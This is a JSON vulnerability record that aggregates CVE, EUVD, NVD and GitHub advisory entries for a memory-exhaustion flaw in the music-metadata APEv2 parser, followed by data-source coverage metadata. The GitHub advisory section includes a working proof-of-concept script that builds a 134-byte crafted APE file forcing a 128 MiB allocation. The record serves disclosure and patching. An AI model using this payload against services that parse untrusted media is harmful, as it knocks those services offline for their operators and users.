{"id":"EUVD-2026-95167","revision":null,"records":[{"revision":"5e1c588124b746aa9036447a4e9ac30d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107387","aliases":[],"title":"music-metadata: Uncontrolled memory allocation in APEv2 parser","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T18:58:29.009+00:00","modifiedAt":"2026-10-08T19:32:13.101+00:00","affected":[{"ecosystem":"Vendor product","name":"music-metadata","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Borewit\",\n                    \"product\": \"music-metadata\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 11.16.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj","https://github.com/Borewit/music-metadata/pull/2744","https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107387","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107387","identifiers":["CVE-2026-107387"]},"retained":false,"historicalAffected":[]},{"revision":"594ed8c8e45943ec978751651b14b9ae","observedAt":"2026-11-09T05:07:51.177+00:00","statement":{"source":"euvd","id":"EUVD-2026-95167","aliases":["CVE-2026-107387","GHSA-53v6-4h7p-p4gj"],"title":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in th…","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":null}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj","https://github.com/Borewit/music-metadata/pull/2744","https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95167","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2026, 6:58:29 PM","dateUpdated":"Oct 8, 2026, 7:32:13 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95167","identifiers":["EUVD-2026-95167","CVE-2026-107387","GHSA-53v6-4h7p-p4gj"]},"retained":false,"historicalAffected":[]},{"revision":"acbe86adf90248928950d3c13acbf92f","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-107387","aliases":[],"title":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in th…","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T19:17:01.517+00:00","modifiedAt":"2026-10-13T14:35:46.45+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235","https://github.com/Borewit/music-metadata/pull/2744","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0","https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107387","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-789"],"productCriteria":["cpe:2.3:a:borewit:music-metadata:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-10-08T19:17:01.517","lastModified":"2026-10-13T14:35:46.450"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107387","identifiers":["CVE-2026-107387"]},"retained":false,"historicalAffected":[]},{"revision":"bcc1eef7a4974d48a77b45200dd2aa3e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-53v6-4h7p-p4gj","aliases":["CVE-2026-107387"],"title":"music-metadata: Uncontrolled memory allocation in APEv2 parser","description":"## Summary\n\n`music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.\n\nThe parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.\n\nThis issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.\n\n## Affected component\n\n- `lib/apev2/APEv2Token.ts`\n- `lib/apev2/APEv2Parser.ts`\n\nThe untrusted size is read here:\n\n```ts\nsize: Token.UINT32_LE.get(buf, off)\n```\n\nIt is later used directly for allocation when parsing binary tag items:\n\n```ts\nconst picData = new Uint8Array(tagItemHeader.size);\nawait this.tokenizer.readBuffer(picData);\n```\n\nThe allocation happens before the parser confirms that the declared size fits inside the remaining file data.\n\n## Impact\n\nAn application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion.\n\nThe demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.\n\nThe impact is limited to availability. No confidentiality or integrity impact has been demonstrated.\n\n## Proof of Concept\n\nRun from the project checkout after compiling the source:\n\n```bash\nnpm install --ignore-scripts\nnpm run compile-src:dev\nnode --expose-gc poc-apev2-memory.mjs\n```\n\n`poc-apev2-memory.mjs`:\n\n```js\nimport { parseBuffer } from './lib/core.js';\n\nconst le16 = n => Uint8Array.from([n & 255, n >>> 8]);\nconst le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);\nconst cat = (...parts) => {\n  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));\n  let off = 0;\n  for (const p of parts) out.set(p, off), off += p.length;\n  return out;\n};\n\nconst big = 0x08000000; // 128 MiB\n\nconst desc = cat(\n  Buffer.from('MAC '), le32(4000), le32(52), le32(24),\n  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)\n);\n\nconst hdr = cat(\n  le16(0), le16(0), le32(1), le32(1), le32(1),\n  le16(16), le16(1), le32(44100)\n);\n\nconst key = Buffer.from('Cover Art (Front)\\0', 'ascii');\nconst item = cat(le32(big), le32(2));\n\nconst tag = cat(\n  Buffer.from('APETAGEX'),\n  le32(2000),\n  le32(32 + item.length + key.length + big),\n  le32(1),\n  le32(0),\n  new Uint8Array(8)\n);\n\nconst payload = cat(desc, hdr, tag, item, key);\n\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\ntry {\n  await parseBuffer(payload, { mimeType: 'audio/ape' });\n} catch (error) {\n  console.log(error.constructor.name + ': ' + error.message);\n}\n\nconst after = process.memoryUsage();\nconsole.log('input bytes:', payload.byteLength);\nconsole.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));\n```\n\n## Observed result\n\nOn `music-metadata` 11.15.0:\n\n```text\nEndOfStreamError: End-Of-Stream\ninput bytes: 134\narrayBuffers delta MB: 128.00\n```\n\nThe parser throws after reaching end-of-stream, but the large allocation has already happened.\n\n## Expected result\n\nThe parser should reject the malformed APEv2 tag before allocating memory for the declared item size.\n\n## Suggested fix\n\nValidate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.","state":0,"publishedAt":"2026-10-08T19:43:22+00:00","modifiedAt":"2026-10-08T20:00:06.1571597+00:00","affected":[{"ecosystem":"npm","name":"music-metadata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"11.16.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj","https://github.com/Borewit/music-metadata/pull/2744","https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235","https://github.com/Borewit/music-metadata","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://github.com/advisories/GHSA-53v6-4h7p-p4gj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-53v6-4h7p-p4gj","identifiers":["GHSA-53v6-4h7p-p4gj","CVE-2026-107387"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T08:21:42.9806814+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T08:21:42.9806814+00:00","lastSuccessAt":"2026-11-10T08:21:49.9716687+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:49.9722477+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-746bb7faca3153abeb3c809473890793eb06eef475a9980d578ad522a2f91b4d","complete":true,"records":421910,"lastAttemptAt":"2026-11-10T08:21:35.2839989+00:00","lastSuccessAt":"2026-11-10T08:02:16.532381+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:35.2839989+00:00","snapshotPublishedAt":"2026-11-10T07:28:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T08:22:41.0210911+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T08:21:42.9806814+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T08:21:42.9806814+00:00","lastSuccessAt":"2026-11-10T08:22:06.2444793+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:22:06.2444805+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-78b08a98b3ce49f188246fb2aae3c44d","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T08:22:40.320966+00:00","lastSuccessAt":"2026-11-10T08:22:40.318+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T08:22:40.318+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T08:21:42.331385+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:42.331385+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T08:21:38.6986948+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:38.6986948+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T08:21:42.4406049+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:42.4406049+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T08:21:40.047287+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T08:21:40.047287+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}